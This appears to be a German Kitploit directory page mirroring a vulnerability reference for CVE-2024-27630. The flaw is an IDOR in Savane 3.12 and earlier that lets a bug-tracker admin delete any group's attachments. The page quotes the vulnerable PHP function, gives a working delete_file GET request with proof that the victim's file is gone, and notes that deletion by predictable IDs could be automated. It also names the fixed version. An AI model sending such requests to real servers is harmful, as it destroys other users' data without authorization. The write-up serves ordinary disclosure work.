Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-27630 — CVE-2024–27630 Referenz | Kitploit
Tools/GitHubGitHub/ally-petitt/cve-2024-27630
SchwachstellenanalyseInformationsbeschaffungWebsicherheitPenetrationstestsPapers & ForschungLernen & Bildung
GitHubally-petitt/cve-2024-27630

CVE-2024-27630

CVE-2024–27630 Referenz

Repository anzeigen
1vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024–27630 Schwachstellen-Details

Überblick

In Savane v3.12 und früher führt eine fehlende Validierung des Parameters file_id beim Löschen einer Datei von /bugs/index.php zu einer Schwachstelle durch Insecure Direct Object Reference (IDOR), die es einem authentifizierten Administrator einer Gruppe mit einem Bug-Tracker ermöglicht, Dateianhänge eines beliebigen Bug-Trackers willkürlich zu löschen, was zur Nichtverfügbarkeit dieser Dateien führt. Da die Datei-IDs mit jedem neuen Upload inkrementiert werden, ist es möglich, ein Skript zu erstellen, das iterativ alle Dateianhänge auf dem Server über die file_id löscht.

CWE-Klassifizierung: CWE-639: Authorization Bypass Through User-Controlled Key

Gemeldet von: Ally Petitt

Betroffenes Produkt: Savane

Betroffene Versionen: 3.12 und früher

Technische Details

Die Funktion, die für das Löschen von Dateianhängen in Bug-Trackern zuständig ist, ist trackers_data_delete_file(), die im folgenden Codeblock definiert ist.

frontend/php/include/trackers/data.php:2417

root@kitploit:~
function trackers_data_delete_file ($group_id, $item_id, $file_id)
{
  global $sys_trackers_attachments_dir;
  # Make sure the attachment belongs to the group.
  $res = db_execute ("
    SELECT bug_id from " . ARTIFACT . " WHERE bug_id = ? AND group_id = ?",
    [$item_id, $group_id]
  );
  if (db_numrows ($res) <= 0)
    {
      # TRANSLATORS: the argument is item id (a number).
      $msg = sprintf (
        _("Item #%s doesn't belong to project"), $item_id
      );
      fb ($msg, 1);
      return;
    }

  $result = false;
  # Delete the attachment.
  if (unlink ("$sys_trackers_attachments_dir/$file_id")) 
    $result = db_execute ("
      DELETE FROM trackers_file WHERE item_id = ?  AND file_id = ?",
      [$item_id, $file_id]
    );
Tool herunterladen

Die Funktion beginnt mit einer SQL-Abfrage, die prüft, ob sich die in item_id angegebene Bug-ID in der Gruppe befindet, der der Angreifer angehört, bekannt als $group_id. Die Funktion prüft jedoch nicht, ob auch die file_id Teil der Gruppe ist. Das bedeutet, dass der Angreifer, solange die item_id einem gültigen Bug in der Gruppe des Angreifers entspricht, die file_id so ändern kann, dass sie auf eine beliebige Datei im Upload-Verzeichnis /var/lib/savane/trackers_attachments zeigt.

Darüber hinaus ist diese Funktion nur für Bug-Tracker-Administratoren erreichbar.

frontend/php/bugs/index.php:586

root@kitploit:~
  case 'delete_file':
    # Remove an attached file.
    if ($is_trackeradmin)
      {
        trackers_data_delete_file($group_id, $item_id, $item_file_id);

         # Unset previous settings and return to the item.
         $depends_search = $reassign_change_project_search = $add_cc
           = $input_file = $changed = $vfl = $details = null;
         include '../include/trackers_run/mod.php';
      }
    else
      exit_permission_denied ();
    break;

Validierungsschritte

Diese Schritte demonstrieren das Löschen einer einzelnen nicht autorisierten Datei; beachten Sie jedoch, dass ein Angreifer das Löschen aller Dateien anhand ihrer IDs automatisieren könnte, da diese vorhersehbar sind.

  1. Besitzen Sie ein Konto, das Administrator einer Gruppe mit einem Bug-Tracker ist (Angreiferkonto).
  2. Laden Sie mit einem separaten Benutzerkonto (Opfer) einen Dateianhang in einem Bug-Report in eine Gruppe hoch, deren Administrator der Angreifer nicht ist. Ein Beispiel des anschließenden Upload-Verzeichnisses sieht wie folgt aus, wobei die Datei 40231 vom Opfer hochgeladen wurde:
root@kitploit:~
root@60ae93fe131f:/var/lib/savane/trackers_attachments# ls
40226  40227  40230  40231
  1. Rufen Sie die Startseite der Gruppe auf, deren Administrator der Angreifer ist. Gehen Sie dann zu Bugs > Browse und notieren Sie eine gültige Item-ID in der äußersten linken Spalte der Tabelle. Diese ID wird im nächsten Schritt verwendet.

  2. Führen Sie als Angreifer eine GET-Anfrage an den Pfad /bugs/index.php?func=delete_file&item_id=<ATTACKER_ITEM_ID>&item_file_id=<FILE_ID_TO_DELETE> aus.

    In meinem Fall sieht dies wie folgt aus: http://172.17.0.2:7890/bugs/index.php?func=delete_file&item_id=50697&item_file_id=40231.

  3. Verifizieren Sie, dass die Datei des Opfers (aus einer Gruppe, für die der Angreifer keine Berechtigungen hat) gelöscht wurde. Zum Beispiel:

root@kitploit:~
root@60ae93fe131f:/var/lib/savane/trackers_attachments# ls
40226  40227  40230

Gegenmaßnahmen

Aktualisieren Sie auf Savane Version 3.13 oder höher. Den Patch finden Sie hier.